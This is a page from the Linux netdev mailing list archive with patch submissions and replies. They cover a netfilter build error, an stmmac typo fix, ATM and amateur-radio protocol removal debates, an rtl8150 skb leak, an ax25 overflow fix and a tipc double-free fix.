Netdev List
 help / color / mirror / Atom feed
* Re: [PATCH] netfilter: xt_HL: add pr_fmt, default case and NULL checks
From: kernel test robot @ 2026-04-21 11:48 UTC (permalink / raw)
  To: Marino Dzalto, pablo, fw
  Cc: oe-kbuild-all, netfilter-devel, coreteam, netdev, linux-kernel,
	Marino Dzalto
In-Reply-To: <20260403193929.89449-1-marino.dzalto@gmail.com>

Hi Marino,

kernel test robot noticed the following build errors:

[auto build test ERROR on netfilter-nf/main]
[also build test ERROR on nf-next/master horms-ipvs/master linus/master v7.0 next-20260420]
[If your patch is applied to the wrong git tree, kindly drop us a note.
And when submitting patch, we suggest to use '--base' as documented in
https://git-scm.com/docs/git-format-patch#_base_tree_information]

url:    https://github.com/intel-lab-lkp/linux/commits/Marino-Dzalto/netfilter-xt_HL-add-pr_fmt-default-case-and-NULL-checks/20260420-185652
base:   https://git.kernel.org/pub/scm/linux/kernel/git/netfilter/nf.git main
patch link:    https://lore.kernel.org/r/20260403193929.89449-1-marino.dzalto%40gmail.com
patch subject: [PATCH] netfilter: xt_HL: add pr_fmt, default case and NULL checks
config: m68k-allmodconfig (https://download.01.org/0day-ci/archive/20260421/202604211905.6ZPE3dFs-lkp@intel.com/config)
compiler: m68k-linux-gcc (GCC) 15.2.0
reproduce (this is a W=1 build): (https://download.01.org/0day-ci/archive/20260421/202604211905.6ZPE3dFs-lkp@intel.com/reproduce)

If you fix the issue in a separate patch/commit (i.e. not just a new version of
the same patch/commit), kindly add following tags
| Reported-by: kernel test robot <lkp@intel.com>
| Closes: https://lore.kernel.org/oe-kbuild-all/202604211905.6ZPE3dFs-lkp@intel.com/

All errors (new ones prefixed by >>):

   net/netfilter/xt_hl.c: In function 'ttl_mt':
>> net/netfilter/xt_hl.c:34:13: error: assignment of read-only variable 'ttl'
      34 |         ttl = ip_hdr(skb)->ttl;
         |             ^


vim +/ttl +34 net/netfilter/xt_hl.c

    25	
    26	static bool ttl_mt(const struct sk_buff *skb, struct xt_action_param *par)
    27	{
    28		const struct ipt_ttl_info *info = par->matchinfo;
    29		const u8 ttl;
    30	
    31		if (!skb)
    32			return false;
    33	
  > 34		ttl = ip_hdr(skb)->ttl;
    35	
    36		switch (info->mode) {
    37		case IPT_TTL_EQ:
    38			return ttl == info->ttl;
    39		case IPT_TTL_NE:
    40			return ttl != info->ttl;
    41		case IPT_TTL_LT:
    42			return ttl < info->ttl;
    43		case IPT_TTL_GT:
    44			return ttl > info->ttl;
    45		default:
    46			pr_warn("Unknown TTL match mode: %d\n", info->mode);
    47			return false;
    48		}
    49	}
    50	

-- 
0-DAY CI Kernel Test Service
https://github.com/intel/lkp-tests/wiki

^ permalink raw reply

* [PATCH] net/stmmac: Fix typos: 'tx_undeflow_irq' -> 'tx_underflow_irq'
From: Jakub Raczynski @ 2026-04-21 11:50 UTC (permalink / raw)
  To: netdev
  Cc: linux-kernel, kuba, davem, andrew+netdev, kernel-janitors,
	linux-arm-kernel, linux-stm32, Jakub Raczynski
In-Reply-To: <CGME20260421115052eucas1p103281c5b25719a44c0875d6b0860bfa6@eucas1p1.samsung.com>

All references to tx_underflow_irq are misspelled as 'undeflow'. Fix them.

Signed-off-by: Jakub Raczynski <j.raczynski@samsung.com>
---
 drivers/net/ethernet/stmicro/stmmac/common.h         | 2 +-
 drivers/net/ethernet/stmicro/stmmac/dwmac-loongson.c | 2 +-
 drivers/net/ethernet/stmicro/stmmac/dwmac-sun8i.c    | 2 +-
 drivers/net/ethernet/stmicro/stmmac/dwmac_lib.c      | 2 +-
 drivers/net/ethernet/stmicro/stmmac/stmmac_ethtool.c | 2 +-
 5 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/drivers/net/ethernet/stmicro/stmmac/common.h b/drivers/net/ethernet/stmicro/stmmac/common.h
index d26e8a063022..e7da9964854d 100644
--- a/drivers/net/ethernet/stmicro/stmmac/common.h
+++ b/drivers/net/ethernet/stmicro/stmmac/common.h
@@ -147,7 +147,7 @@ struct stmmac_extra_stats {
 	unsigned long rx_vlan;
 	unsigned long rx_split_hdr_pkt_n;
 	/* Tx/Rx IRQ error info */
-	unsigned long tx_undeflow_irq;
+	unsigned long tx_underflow_irq;
 	unsigned long tx_process_stopped_irq;
 	unsigned long tx_jabber_irq;
 	unsigned long rx_overflow_irq;
diff --git a/drivers/net/ethernet/stmicro/stmmac/dwmac-loongson.c b/drivers/net/ethernet/stmicro/stmmac/dwmac-loongson.c
index 815213223583..068c21f37c29 100644
--- a/drivers/net/ethernet/stmicro/stmmac/dwmac-loongson.c
+++ b/drivers/net/ethernet/stmicro/stmmac/dwmac-loongson.c
@@ -247,7 +247,7 @@ static int loongson_dwmac_dma_interrupt(struct stmmac_priv *priv,
 	if (unlikely(abnor_intr_status)) {
 		if (unlikely(intr_status & DMA_STATUS_UNF)) {
 			ret = tx_hard_error_bump_tc;
-			x->tx_undeflow_irq++;
+			x->tx_underflow_irq++;
 		}
 		if (unlikely(intr_status & DMA_STATUS_TJT))
 			x->tx_jabber_irq++;
diff --git a/drivers/net/ethernet/stmicro/stmmac/dwmac-sun8i.c b/drivers/net/ethernet/stmicro/stmmac/dwmac-sun8i.c
index c01b86fd64da..a73720811791 100644
--- a/drivers/net/ethernet/stmicro/stmmac/dwmac-sun8i.c
+++ b/drivers/net/ethernet/stmicro/stmmac/dwmac-sun8i.c
@@ -459,7 +459,7 @@ static int sun8i_dwmac_dma_interrupt(struct stmmac_priv *priv,
 
 	if (v & EMAC_TX_UNDERFLOW_INT) {
 		ret |= tx_hard_error;
-		x->tx_undeflow_irq++;
+		x->tx_underflow_irq++;
 	}
 
 	if (v & EMAC_TX_EARLY_INT)
diff --git a/drivers/net/ethernet/stmicro/stmmac/dwmac_lib.c b/drivers/net/ethernet/stmicro/stmmac/dwmac_lib.c
index a0383f9486c2..79fe50ad33d1 100644
--- a/drivers/net/ethernet/stmicro/stmmac/dwmac_lib.c
+++ b/drivers/net/ethernet/stmicro/stmmac/dwmac_lib.c
@@ -182,7 +182,7 @@ int dwmac_dma_interrupt(struct stmmac_priv *priv, void __iomem *ioaddr,
 	if (unlikely(intr_status & DMA_STATUS_AIS)) {
 		if (unlikely(intr_status & DMA_STATUS_UNF)) {
 			ret = tx_hard_error_bump_tc;
-			x->tx_undeflow_irq++;
+			x->tx_underflow_irq++;
 		}
 		if (unlikely(intr_status & DMA_STATUS_TJT))
 			x->tx_jabber_irq++;
diff --git a/drivers/net/ethernet/stmicro/stmmac/stmmac_ethtool.c b/drivers/net/ethernet/stmicro/stmmac/stmmac_ethtool.c
index c1e26965d9b5..df092fb354ed 100644
--- a/drivers/net/ethernet/stmicro/stmmac/stmmac_ethtool.c
+++ b/drivers/net/ethernet/stmicro/stmmac/stmmac_ethtool.c
@@ -78,7 +78,7 @@ static const struct stmmac_stats stmmac_gstrings_stats[] = {
 	STMMAC_STAT(rx_vlan),
 	STMMAC_STAT(rx_split_hdr_pkt_n),
 	/* Tx/Rx IRQ error info */
-	STMMAC_STAT(tx_undeflow_irq),
+	STMMAC_STAT(tx_underflow_irq),
 	STMMAC_STAT(tx_process_stopped_irq),
 	STMMAC_STAT(tx_jabber_irq),
 	STMMAC_STAT(rx_overflow_irq),
-- 
2.34.1


^ permalink raw reply related

* Re: [PATCH net-deletions] net: remove unused ATM protocols and legacy ATM device drivers
From: Herbert Xu @ 2026-04-21 11:49 UTC (permalink / raw)
  To: David Woodhouse
  Cc: Jakub Kicinski, davem, netdev, edumazet, pabeni, andrew+netdev,
	horms, corbet, skhan, linux, tsbogend, maddy, mpe, npiggin,
	chleroy, 3chas3, razor, idosch, jani.nikula, mchehab+huawei,
	tytso, geert, ebiggers, johannes.berg, jonathan.cameron, kees,
	kuniyu, fourier.thomas, andriy.shevchenko, rdunlap, akpm,
	linux-doc, linux-mips, linuxppc-dev, bridge
In-Reply-To: <c7506c225ce22a71c03abc2673823cf84bbb5b0d.camel@infradead.org>

On Tue, Apr 21, 2026 at 10:26:18AM +0100, David Woodhouse wrote:
>
> I suspect they don't have a huge amount of interest in the Solos any
> more, or the Geode-based SBC they sold with two of them on-board. But
> OpenWrt does still support them, and I even have one here (although no
> ADSL line to test it with). They were briefly popular as fully Linux-
> supported ADSL routers.

ADSL is history, it only ever made sense in rich countries where
physical copper cables were pre-installed in homes.  While rich
countries have moved to fibre, the rest of the world won't use
ADSL either because there is no copper cable to begin with.  So
it's actually cheaper to just lay a fibre cable for a new install.

Cheers,
-- 
Email: Herbert Xu <herbert@gondor.apana.org.au>
Home Page: http://gondor.apana.org.au/~herbert/
PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt

^ permalink raw reply

* Re: [PATCH v3] netfilter: xt_HL: add pr_fmt and checkentry validation
From: Pablo Neira Ayuso @ 2026-04-21 11:56 UTC (permalink / raw)
  To: Marino Dzalto
  Cc: fw, jacob.e.keller, netfilter-devel, coreteam, netdev,
	linux-kernel
In-Reply-To: <20260403205907.92749-1-marino.dzalto@gmail.com>

On Fri, Apr 03, 2026 at 10:59:07PM +0200, Marino Dzalto wrote:
> Add pr_fmt to prefix log messages with the module name for
> easier debugging in dmesg.
> 
> Add checkentry functions for IPv4 (ttl_mt_check) and IPv6
> (hl_mt6_check) to validate the match mode at rule registration
> time, rejecting invalid modes with -EINVAL.
> 
> Signed-off-by: Marino Dzalto <marino.dzalto@gmail.com>
> ---

BTW, please use "nf-next" as target tree for this.

And use _ratelimited as suggested by the AI reviewer.

Send us a v4, thanks

> v3: Remove mention of NULL checks from commit message, as they
>     were never part of the original code.
> v2: Remove NULL checks for skb as suggested by Florian Westphal
>     (skb is guaranteed non-NULL by netfilter core). Move mode
>     validation to checkentry functions instead of match function,
>     also as suggested by Florian Westphal.
> ---
>  net/netfilter/xt_hl.c | 27 +++++++++++++++++++++++++++
>  1 file changed, 27 insertions(+)
> 
> diff --git a/net/netfilter/xt_hl.c b/net/netfilter/xt_hl.c
> index c1a70f8f0441..4a12a757ecbf 100644
> --- a/net/netfilter/xt_hl.c
> +++ b/net/netfilter/xt_hl.c
> @@ -6,6 +6,7 @@
>   * Hop Limit matching module
>   * (C) 2001-2002 Maciej Soltysiak <solt@dns.toxicfilms.tv>
>   */
> +#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
>  
>  #include <linux/ip.h>
>  #include <linux/ipv6.h>
> @@ -22,6 +23,18 @@ MODULE_LICENSE("GPL");
>  MODULE_ALIAS("ipt_ttl");
>  MODULE_ALIAS("ip6t_hl");
>  
> +static int ttl_mt_check(const struct xt_mtchk_param *par)
> +{
> +	const struct ipt_ttl_info *info = par->matchinfo;
> +
> +	if (info->mode > IPT_TTL_GT) {
> +		pr_err("Unknown TTL match mode: %d\n", info->mode);
> +		return -EINVAL;
> +	}
> +
> +	return 0;
> +}
> +
>  static bool ttl_mt(const struct sk_buff *skb, struct xt_action_param *par)
>  {
>  	const struct ipt_ttl_info *info = par->matchinfo;
> @@ -41,6 +54,18 @@ static bool ttl_mt(const struct sk_buff *skb, struct xt_action_param *par)
>  	return false;
>  }
>  
> +static int hl_mt6_check(const struct xt_mtchk_param *par)
> +{
> +	const struct ip6t_hl_info *info = par->matchinfo;
> +
> +	if (info->mode > IP6T_HL_GT) {
> +		pr_err("Unknown Hop Limit match mode: %d\n", info->mode);
> +		return -EINVAL;
> +	}
> +
> +	return 0;
> +}
> +
>  static bool hl_mt6(const struct sk_buff *skb, struct xt_action_param *par)
>  {
>  	const struct ip6t_hl_info *info = par->matchinfo;
> @@ -65,6 +90,7 @@ static struct xt_match hl_mt_reg[] __read_mostly = {
>  		.name       = "ttl",
>  		.revision   = 0,
>  		.family     = NFPROTO_IPV4,
> +		.checkentry = ttl_mt_check,
>  		.match      = ttl_mt,
>  		.matchsize  = sizeof(struct ipt_ttl_info),
>  		.me         = THIS_MODULE,
> @@ -73,6 +99,7 @@ static struct xt_match hl_mt_reg[] __read_mostly = {
>  		.name       = "hl",
>  		.revision   = 0,
>  		.family     = NFPROTO_IPV6,
> +		.checkentry = hl_mt6_check,
>  		.match      = hl_mt6,
>  		.matchsize  = sizeof(struct ip6t_hl_info),
>  		.me         = THIS_MODULE,
> -- 
> 2.50.1 (Apple Git-155)
> 

^ permalink raw reply

* Re: [PATCH net-deletions] net: remove unused ATM protocols and legacy ATM device drivers
From: Geert Uytterhoeven @ 2026-04-21 11:57 UTC (permalink / raw)
  To: Herbert Xu
  Cc: David Woodhouse, Jakub Kicinski, davem, netdev, edumazet, pabeni,
	andrew+netdev, horms, corbet, skhan, linux, tsbogend, maddy, mpe,
	npiggin, chleroy, 3chas3, razor, idosch, jani.nikula,
	mchehab+huawei, tytso, ebiggers, johannes.berg, jonathan.cameron,
	kees, kuniyu, fourier.thomas, andriy.shevchenko, rdunlap, akpm,
	linux-doc, linux-mips, linuxppc-dev, bridge
In-Reply-To: <aedkZ5bizasuBPI8@gondor.apana.org.au>

Hi Herbert,

On Tue, 21 Apr 2026 at 13:51, Herbert Xu <herbert@gondor.apana.org.au> wrote:
> On Tue, Apr 21, 2026 at 10:26:18AM +0100, David Woodhouse wrote:
> > I suspect they don't have a huge amount of interest in the Solos any
> > more, or the Geode-based SBC they sold with two of them on-board. But
> > OpenWrt does still support them, and I even have one here (although no
> > ADSL line to test it with). They were briefly popular as fully Linux-
> > supported ADSL routers.
>
> ADSL is history, it only ever made sense in rich countries where
> physical copper cables were pre-installed in homes.  While rich
> countries have moved to fibre, the rest of the world won't use
> ADSL either because there is no copper cable to begin with.  So
> it's actually cheaper to just lay a fibre cable for a new install.

I am afraid the move to fibre hasn't been completed yet.
ADSL (VDSL2?) is still being used.

Gr{oetje,eeting}s,

                        Geert

-- 
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds

^ permalink raw reply

* Re: [PATCH] net: usb: rtl8150: free skb on usb_submit_urb() failure in xmit
From: Petko Manolov @ 2026-04-21 11:54 UTC (permalink / raw)
  To: Morduan Zang
  Cc: Andrew Lunn, David S . Miller, Eric Dumazet, Jakub Kicinski,
	Paolo Abeni, linux-usb, netdev, linux-kernel
In-Reply-To: <678BC10BB9E39322+20260421111025.15833-1-zhangdandan@uniontech.com>

On 26-04-21 19:10:25, Morduan Zang wrote:
> When rtl8150_start_xmit() fails to submit the tx URB, the URB is never
> handed to the USB core and write_bulk_callback() will not run.  The
> driver returns NETDEV_TX_OK, which tells the networking stack that the
> skb has been consumed, but nothing actually frees the skb on this
> error path:
> 
>   dev->tx_skb = skb;
>   ...
>   if ((res = usb_submit_urb(dev->tx_urb, GFP_ATOMIC))) {
>           ...
>           /* no kfree_skb here */
>   }
>   return NETDEV_TX_OK;
> 
> This leaks the skb on every submit failure and also leaves dev->tx_skb
> pointing at memory that the driver itself may later free, which is
> fragile.
> 
> Free the skb with dev_kfree_skb_any() in the error path and clear
> dev->tx_skb so no stale pointer is left behind.

Another approach would be to use skb_copy_from_linear_data() to a static buffer
and free the skb right away.  Take a look at pegasus_start_xmit() in
drivers/net/usb/pegasus.c.  This comes at the cost of yet another memcpy,
though.

The above is not to say i don't like your current approach, just FYI.


		Petko

^ permalink raw reply

* Re: [PATCH net-deletions] net: remove unused ATM protocols and legacy ATM device drivers
From: David Woodhouse @ 2026-04-21 12:06 UTC (permalink / raw)
  To: Geert Uytterhoeven, Herbert Xu
  Cc: Jakub Kicinski, davem, netdev, edumazet, pabeni, andrew+netdev,
	horms, corbet, skhan, linux, tsbogend, maddy, mpe, npiggin,
	chleroy, 3chas3, razor, idosch, jani.nikula, mchehab+huawei,
	tytso, ebiggers, johannes.berg, jonathan.cameron, kees, kuniyu,
	fourier.thomas, andriy.shevchenko, rdunlap, akpm, linux-doc,
	linux-mips, linuxppc-dev, bridge
In-Reply-To: <CAMuHMdU96F_42faeqNzDwaXks7mFrLrkPSJB_QTwxEn9HmVWpQ@mail.gmail.com>

[-- Attachment #1: Type: text/plain, Size: 1154 bytes --]

On Tue, 2026-04-21 at 13:57 +0200, Geert Uytterhoeven wrote:
> Hi Herbert,
> 
> On Tue, 21 Apr 2026 at 13:51, Herbert Xu <herbert@gondor.apana.org.au> wrote:
> > On Tue, Apr 21, 2026 at 10:26:18AM +0100, David Woodhouse wrote:
> > > I suspect they don't have a huge amount of interest in the Solos any
> > > more, or the Geode-based SBC they sold with two of them on-board. But
> > > OpenWrt does still support them, and I even have one here (although no
> > > ADSL line to test it with). They were briefly popular as fully Linux-
> > > supported ADSL routers.
> > 
> > ADSL is history, it only ever made sense in rich countries where
> > physical copper cables were pre-installed in homes.  While rich
> > countries have moved to fibre, the rest of the world won't use
> > ADSL either because there is no copper cable to begin with.  So
> > it's actually cheaper to just lay a fibre cable for a new install.
> 
> I am afraid the move to fibre hasn't been completed yet.
> ADSL (VDSL2?) is still being used.

VSDL is different, and isn't ATM-based. But even ADSL is still in use;
in the UK some rural areas haven't got fibre yet.

[-- Attachment #2: smime.p7s --]
[-- Type: application/pkcs7-signature, Size: 5069 bytes --]

^ permalink raw reply

* Re: Discuss: Future of AX25, NETROM and ROSE in the kernel ?
From: Dan Cross @ 2026-04-21 12:06 UTC (permalink / raw)
  To: hugh; +Cc: Steve Conklin, Stuart Longland VK4MSL, linux-hams, netdev
In-Reply-To: <5549733f-c9d6-4bae-84e3-285a317ee334@blemings.org>

On Tue, Apr 21, 2026 at 2:28 AM Hugh Blemings <hugh@blemings.org> wrote:
> Hi All,
>
> Just to note in this thread (top posting as it's a bit orthogonal to the
> rest of this discussion) that events have preceeded us somewhat here
>
> A patch just recently submitted removes the AX25, NETROM and ROSE code
> from the kernel moving it to the mod-orphan sub tree of netdev
>
> https://lore.kernel.org/netdev/20260421021824.1293976-1-kuba@kernel.org/T/#u

Wow, that happened much faster than I had anticipated.

> A shame but perhaps inevitable - but I think we have a good plan
> unfolding to both take care of medium term maintenance of the kernel
> code (in tree or out as it may be) as well as a move to userspace in the
> longer term.
>
> For the benefit of the netdev readership - we had a thread over in
> linux-hams on this but that may not have been visible to folks in
> netdev.  TL;DR: we think we have a way forward but appreciate this may
> not be quick enough to meet the requirements/concerns put forward
>
> If we can delay removal, that'd be grand, but appreciate that moment may
> have passed.

Personally, I think this may actually turn out to be a good thing.  If
nothing else, it's a forcing function for the ham community to get
serious about providing an implementation that works well, and in the
short term, an out-of-tree module can keep things working for folks
while alternatives are investigated and prepared.

I appreciate that folks want to discuss timing, but it doesn't appear
that there is much else to be done at this point. It would make sense
to continue discussion of alternatives over on linux-hams, sparing the
already-overloaded readers of the netdev list from the sordid details.

        - Dan C.
          (KZ2X)

^ permalink raw reply

* RE: [PATCH 1/1] tipc: fix double-free in tipc_buf_append()
From: Tung Quang Nguyen @ 2026-04-21 12:10 UTC (permalink / raw)
  To: Lee Jones
  Cc: Jon Maloy, David S. Miller, Eric Dumazet, Jakub Kicinski,
	Paolo Abeni, Simon Horman, netdev@vger.kernel.org,
	tipc-discussion@lists.sourceforge.net,
	linux-kernel@vger.kernel.org
In-Reply-To: <20260421103543.GH3202366@google.com>

>Subject: Re: [PATCH 1/1] tipc: fix double-free in tipc_buf_append()
>
>On Mon, 20 Apr 2026, Lee Jones wrote:
>
>> On Mon, 20 Apr 2026, Tung Quang Nguyen wrote:
>>
>> > >> Subject: [PATCH 1/1] tipc: fix double-free in tipc_buf_append()
>> > >> >
>> > >> >The tipc_msg_validate() function can potentially reallocate the
>> > >> >skb it is validating, freeing the old one.  In
>> > >> >tipc_buf_append(), it was being called with a pointer to a local
>> > >> >variable which was a copy of the
>> > >caller's skb pointer.
>> > >> >
>> > >> >If the skb was reallocated and validation subsequently failed,
>> > >> >the error handling path would free the original skb pointer,
>> > >> >which had already been freed, leading to double-free.
>> > >> >
>> > >> >Fix this by passing the caller's skb pointer-pointer directly to
>> > >> >tipc_msg_validate(), ensuring any modification is reflected correctly.
>> > >> >The local skb pointer is then updated from the (possibly
>> > >> >modified) caller's pointer.
>> > >> >
>> > >> >Fixes: d618d09a68e4 ("tipc: enforce valid ratio between skb
>> > >> >truesize and
>> > >> >contents")
>> > >> >Assisted-by: Gemini:gemini-3.1-pro-preview
>> > >> >Signed-off-by: Lee Jones <lee@kernel.org>
>> > >> >---
>> > >> > net/tipc/msg.c | 3 ++-
>> > >> > 1 file changed, 2 insertions(+), 1 deletion(-)
>> > >> >
>> > >> >diff --git a/net/tipc/msg.c b/net/tipc/msg.c index
>> > >> >76284fc538eb..9f4f612ee027
>> > >> >100644
>> > >> >--- a/net/tipc/msg.c
>> > >> >+++ b/net/tipc/msg.c
>> > >> >@@ -177,8 +177,9 @@ int tipc_buf_append(struct sk_buff
>> > >> >**headbuf, struct sk_buff **buf)
>> > >> >
>> > >> > 	if (fragid == LAST_FRAGMENT) {
>> > >> > 		TIPC_SKB_CB(head)->validated = 0;
>> > >> >-		if (unlikely(!tipc_msg_validate(&head)))
>> > >> >+		if (unlikely(!tipc_msg_validate(headbuf)))
>> > >> > 			goto err;
>> > >> >+		head = *headbuf;
>> > >> This is a known issue and was reported via
>> > >> https://patchwork.kernel.org/project/netdevbpf/patch/202603302053
>> > >> 13.24 33372-1-nicholas@carlini.com/ The author did not respond to
>> > >> my comment.
>> > >> Can you improve the fix by applying my patch?
>> > >
>> > >I'd be happy to make any required changes.
>> > >
>> > >However, is this approach superior to simply passing a reference?
>> > >
>> > >v1 appears to be simpler, easier to read and avoids the explanation.
>> > >
>> > As I explained, your fix adds extra overhead to normal path while the error
>path is corner case and it rarely happens.
>> > Whatever approach is applied, we need to add explanation to understand
>more easily the logic and hidden trick in tipc_msg_validate().
>>
>> Very well.  I have made the recommended changes.
>>
>> The patch is currently in my build-test environment.
>>
>> I will post v2, when everything has been satisfied.
>
>Okay, I genuinely tried to apply your patch.  It builds just fine, but Gemini (the
>AI I use to pre-review patches before submission) has some doubts that this is
>the correct approach:
>
>> @@ -177,8 +177,20 @@ int tipc_buf_append(struct sk_buff **headbuf,
>> struct sk_buff **buf)
>>
>>       if (fragid == LAST_FRAGMENT) {
>>               TIPC_SKB_CB(head)->validated = 0;
>> -             if (unlikely(!tipc_msg_validate(&head)))
>> +
>> +             /* If the reassembled skb has been freed in
>> +              * tipc_msg_validate() because of an invalid truesize,
>> +              * then head will point to a newly allocated reassembled
>> +              * skb, while *headbuf points to freed reassembled skb.
>> +              * In such cases, correct *headbuf for freeing the newly
>> +              * allocated reassembled skb later.
>> +              *
>> +              * Note: It's done this way instead of passing &head          // I added
>this part to give
>> +              * to avoid slowing down the happy path since this failure    // the
>reviewer some additoinal
>> +              * is a rare event.                                           // context
>> +              */
>> +             if (unlikely(!tipc_msg_validate(headbuf))) {
You did NOT apply my patch correctly. I did not suggest passing headbuf to tipc_msg_validate().
My patch is very simple:
+               if (unlikely(!tipc_msg_validate(&head))) {
+                       /* reassembled skb has been freed in
+                        * tipc_msg_validate() because of invalid truesize.
+                        * head now points to newly-allocated reassembled skb
+                        * while *headbuf points to freed reassembled skb.
+                        * So, correct *headbuf for freeing newly-allocated
+                        * reassembled skb later.
+                        */
+                       if (head != *headbuf)
+                               *headbuf = head;
+
                        goto err;
+               }

>> +                     if (head != *headbuf)
>> +                             *headbuf = head;
>>                       goto err;
>> +             }
>> +
>
>  "It looks like this logic might re-introduce the double-free bug.
>   The call to `tipc_msg_validate(headbuf)` is correct, as it passes the
>   pointer-to-pointer and allows the callee to update `*headbuf` if the skb
>   is reallocated.
>
>   However, the subsequent check seems to undo this. If a reallocation
>   happens, `head` will hold the pointer to the old, freed skb, while
>   `*headbuf` will hold the new one. The condition `head != *headbuf` will
>   be true, and the assignment `*headbuf = head` will restore the stale
>   pointer, leading to a double-free on the `err` path.
>
>   The preceding comment also appears to have the pointer roles reversed.
>
>   Would it be simpler and more correct to remove the `if (head != *headbuf)`
>   check and the large comment block? The change from `&head` to `headbuf`
>   in the function call seems to be the only change required to fix the bug.
>   Also, please update the commit message to reflect the corrected logic."
>
>I suggest that we go with the original patch.  Although I find it admirable that
>you are thinking about and attempting to protect the more common happy-
>path, I think the resultant single additional variable assignment is negligible
>and that the simplicity of the previous fix has greater benefits in terms of code
>readability and maintainability.
>
>If you like, I can add a small comment, but I doubt even that is necessary.
>
>--
>Lee Jones [李琼斯]

^ permalink raw reply

* Re: [PATCH v3 00/15] firmware: qcom: Add OP-TEE PAS service support
From: Sumit Garg @ 2026-04-21 12:22 UTC (permalink / raw)
  To: Bjorn Andersson
  Cc: linux-arm-msm, devicetree, dri-devel, freedreno, linux-media,
	netdev, linux-wireless, ath12k, linux-remoteproc, konradybcio,
	robh, krzk+dt, conor+dt, robin.clark, sean, akhilpo, lumag,
	abhinav.kumar, jesszhan0024, marijn.suijten, airlied, simona,
	vikash.garodia, dikshita.agarwal, bod, mchehab, elder,
	andrew+netdev, davem, edumazet, kuba, pabeni, jjohnson,
	mathieu.poirier, trilokkumar.soni, mukesh.ojha, pavan.kondeti,
	jorge.ramirez, tonyh, vignesh.viswanathan, srinivas.kandagatla,
	amirreza.zarrabi, jens.wiklander, op-tee, apurupa, skare,
	harshal.dev, linux-kernel, Sumit Garg
In-Reply-To: <adSOFCL26y5qt1Cu@sumit-xelite>

On Tue, Apr 07, 2026 at 10:24:44AM +0530, Sumit Garg wrote:
> Hi Bjorn,
> 
> On Mon, Apr 06, 2026 at 10:09:27AM -0500, Bjorn Andersson wrote:
> > On Fri, Mar 27, 2026 at 06:40:28PM +0530, Sumit Garg wrote:
> > > From: Sumit Garg <sumit.garg@oss.qualcomm.com>
> > > 
> > > Qcom platforms has the legacy of using non-standard SCM calls
> > > splintered over the various kernel drivers. These SCM calls aren't
> > > compliant with the standard SMC calling conventions which is a
> > > prerequisite to enable migration to the FF-A specifications from Arm.
> > > 
> > 
> > Please get our colleagues involved in this discussion, because this
> > non-SCM interface does not match the direction we are taking.
> 
> I thought I have already involved folks from QTEE perspective (Apurupa
> and Sree) actively working on FF-A implementation aligned to this
> interface. It would have been better if you could let me know where is
> the direction mismatch here. In case there is a better alternative
> design proposal for PAS service with FF-A, I would be happy to hear
> that.
> 
> Anyhow for the legacy SoCs like KLMT, we really don't have any
> alternative but have to stick to existing QTEE PAS design with OP-TEE
> providing as an alternative backend. Surely we want to support loading
> of existing signed firmware present in linux-firmware repo for KLMT with
> OP-TEE being the TZ.

After further offline internal Qcom discussions, the teams are aligned
on the vision to use and extend generic Qcom PAS layer for all the TZ
backends whether it's legacy SCM backend based on QTEE, OP-TEE backend
as proposed by this patch-set or future object invoke (based on
SMCInvoke) for QTEE.

I hope with that we can progress to get this patch-set merged in next
merge window. I will send v4 shortly after merge window closes to
address misc. comments from Harshal on patch 04/15.

-Sumit

^ permalink raw reply

* Re: [PATCH v4 net] net: ax25: fix integer overflow in ax25_rx_fragment()
From: Andrew Lunn @ 2026-04-21 12:25 UTC (permalink / raw)
  To: hugh
  Cc: Paolo Abeni, Mashiro Chen, netdev, linux-hams, kuba, horms, davem,
	edumazet, Greg KH
In-Reply-To: <e2a47378-9008-45a2-92e3-d1f374b5e766@blemings.org>

On Tue, Apr 21, 2026 at 06:45:39PM +1000, Hugh Blemings wrote:
> Hi Paolo, All,
> 
> On 21/4/2026 17:29, Paolo Abeni wrote:
> > On 4/13/26 10:49 PM, Mashiro Chen wrote:
> > > ax25_rx_fragment() accumulates fragment lengths into ax25_cb->fraglen,
> > > which is an unsigned short. When the total exceeds 65535, fraglen wraps
> > > around to a small value. The subsequent alloc_skb(fraglen) allocates a
> > > too-small buffer, and skb_put() in the copy loop triggers skb_over_panic().
> > > 
> > > Add pskb_may_pull(skb, 1) at function entry to ensure the segmentation
> > > header byte is in the linear data area before dereferencing skb->data.
> > > This also rejects zero-length skbs, which the original code did not
> > > check for.
> > > 
> > > Two issues in the overflow error path are also fixed:
> > > First, the current skb, after skb_pull(skb, 1), is neither enqueued
> > > nor freed before returning 1, leaking it. Add kfree_skb(skb) before
> > > the return.
> > > Second, ax25->fraglen is not reset after skb_queue_purge(). Add
> > > ax25->fraglen = 0 to restore a consistent state.
> > > 
> > > Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
> > > Signed-off-by: Mashiro Chen <mashiro.chen@mailbox.org>
> > we are moving ax25 out of tree:
> > 
> > https://lore.kernel.org/netdev/20260421021824.1293976-1-kuba@kernel.org/
> > 
> > please hold off until Thursday (after that our net PR will land into
> > mainline), and eventually resend if the code still exists in Linus's
> > tree at that point.
> 
> Is there any flexibility here ?
> 
> Jakubs (CC'd) patches to remove unfortunately weren't cross posted to
> linux-hams and so I'm not able to directly reply in netdev
> 
> We've had a thread ongoing in linux-hams around the future of
> AX25/ROSE/NETROM for the last week or so and believe we've a path towards an
> orderly exit from the mainline tree, probably towards a userspace
> implementation. This includes a couple of folks who have indicated they
> would be open to overseeing the maintenance of the code in the meantime.
> 
> We'd hoped to have a period of a few months to do an orderly exit from the
> tree to minimise the impact on the (admittedly small, but non-zero) users
> that build trees/make use of the in kernel support.
> 
> Apologies for my lack of familiarity with the process here to deprecate etc.

I know it is short notice, but there is a conference call today. Jakub
sent this yesterday:

  The bi-weekly call is scheduled for tomorrow at 8:30 am (PT) /
  5:30 pm (~EU), at https://bbb.lwn.net/rooms/ldm-chf-zxx-we7/join

  I'd like to discuss evolution of the process which would prepare
  us for the "AI age" (read: influx of plausibly looking yet entirely
  computer generated patches).

	Andrew

^ permalink raw reply

* Re: [PATCH 1/1] tipc: fix double-free in tipc_buf_append()
From: Lee Jones @ 2026-04-21 12:28 UTC (permalink / raw)
  To: Tung Quang Nguyen
  Cc: Jon Maloy, David S. Miller, Eric Dumazet, Jakub Kicinski,
	Paolo Abeni, Simon Horman, netdev@vger.kernel.org,
	tipc-discussion@lists.sourceforge.net,
